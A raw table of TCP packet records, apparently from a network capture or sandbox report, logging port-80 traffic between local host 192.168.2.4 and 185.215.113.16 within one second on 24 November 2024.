Nov 24, 2024 02:13:38.401236057 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.401259899 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.401308060 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.402180910 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.402343988 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.402364969 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.402513027 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.403191090 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.403321981 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.403351068 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.404258013 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.404350042 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.404380083 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.404731989 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.405267000 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.405383110 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.405488968 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.406280994 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.406400919 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.406415939 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.406481981 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.407319069 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.407417059 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.407423019 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.407493114 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.408355951 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.408451080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.408478975 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.408607960 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.409374952 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.409466982 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.409495115 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.410434961 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.410564899 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.410588026 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.411001921 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.411478996 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.411580086 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.411611080 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.412483931 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.412595987 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.412606955 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.412698030 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.413511992 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.413645029 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.413794041 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.414562941 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.414664984 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.414722919 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.414722919 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.415569067 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.415678978 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.415708065 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.415803909 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.416615963 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.416733027 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.417037010 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.417629004 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.417812109 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.417922020 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.418673038 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.418781042 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.418797970 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.418847084 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.419714928 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.419771910 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.419801950 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.419878006 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.420739889 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.420825958 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.420854092 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.420984030 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.421770096 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.421890974 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.422177076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.422807932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.422918081 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.422951937 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.423027992 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.423846960 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.423943043 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.423970938 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.424082041 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.424900055 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.424989939 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.425092936 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.425921917 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.426069975 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.426326036 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.426937103 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.427066088 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.427078009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.427155018 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.427989960 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.428091049 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.428103924 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.428159952 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.429013968 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.429112911 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.429131031 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.429184914 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.430044889 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.430146933 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.430226088 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.431054115 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.431117058 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.431143999 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.432117939 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.432249069 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.432276011 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.432540894 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.433171034 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.433263063 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.433288097 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.433746099 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.434144020 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.434309959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.555335045 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.555452108 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.555481911 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.555551052 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.555833101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.555951118 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.556060076 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.556871891 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.556977034 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.557007074 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.557672024 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.557864904 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.558038950 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.575297117 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.575433016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.575774908 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.575810909 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.575959921 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.575988054 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.576728106 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.576849937 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.577131033 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.577181101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.577249050 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.578164101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.578279018 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.578303099 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.578373909 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.579193115 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.579319954 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.579639912 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.580216885 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.580347061 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.580367088 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.580446959 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.581233025 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.581346989 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.581350088 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.581420898 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.582283974 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.582374096 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.582401991 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.582461119 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.583321095 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.583427906 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.583427906 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.583612919 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.584337950 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.584470034 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.584495068 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.585407019 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.585474968 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.585490942 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.586414099 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.586513996 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.586544037 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.587430000 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.587543011 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.587554932 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.588481903 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.588577032 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.588587046 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.588664055 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.589512110 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.589627028 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.589656115 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.590847969 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.590909004 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.590935946 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.591459036 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.591566086 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.591685057 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.591788054 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.592608929 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.592720985 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.592720985 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.592801094 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.593633890 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.593749046 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.593815088 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.594686985 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.594798088 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.595094919 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.595793962 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.595880032 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.595911026 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.596740961 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.596842051 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.596852064 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.596940041 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.597767115 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.597867966 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.597878933 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.598018885 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.598813057 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.598889112 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.598927021 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.599852085 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.599947929 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.599976063 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.600279093 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.600864887 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.600974083 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.601001978 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.601042986 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.601892948 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.601963997 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.601989985 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.602132082 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.603137016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.603240013 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.603538036 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.603972912 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.604044914 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.604077101 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.604155064 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.604986906 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.605082035 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.605109930 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.605223894 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.606065035 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.606148958 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.606174946 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.606297016 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.607048035 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.607119083 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.607151031 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.607392073 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.608083963 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.608191013 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.608194113 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.608263969 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.609139919 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.609240055 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.609266996 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.609297991 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.610157967 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.610260963 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.610272884 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.610341072 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.611183882 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.611296892 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.611303091 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.611465931 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.612219095 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.612339020 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.612365007 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.613262892 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.613370895 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.613373995 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.613806009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.614300966 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.614408016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.614522934 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.615362883 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.615443945 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.615585089 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.616389990 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.616480112 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.616507053 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.617388010 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.617414951 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.617505074 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.617527962 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.617832899 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.618443966 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.618489981 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.618520021 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.619497061 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.619594097 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.619611025 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.619724035 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.620492935 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.620594025 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.620675087 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.620675087 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.621525049 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.621611118 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.621872902 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.622554064 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.622652054 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.622716904 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.622716904 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.623595953 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.623699903 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.623739958 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.624624968 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.624728918 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.624730110 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.624847889 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.625629902 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.626060009 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.765686989 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.765748978 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.765887022 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.766009092 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.766037941 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.766917944 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.767024040 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.767051935 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.767745018 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.767796040 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.767818928 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.768465996 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.791632891 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.791766882 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.792006016 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.792157888 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.792195082 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.793042898 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.793158054 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.793284893 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.794090986 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.794229984 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.794258118 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.795128107 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.795249939 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.795310020 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.796156883 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.796236992 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.796267033 CET	49756	80	192.168.2.4	185.215.113.16
Nov 24, 2024 02:13:38.797179937 CET	80	49756	185.215.113.16	192.168.2.4
Nov 24, 2024 02:13:38.797271967 CET	80	49756	185.215.113.16	192.168.2.4
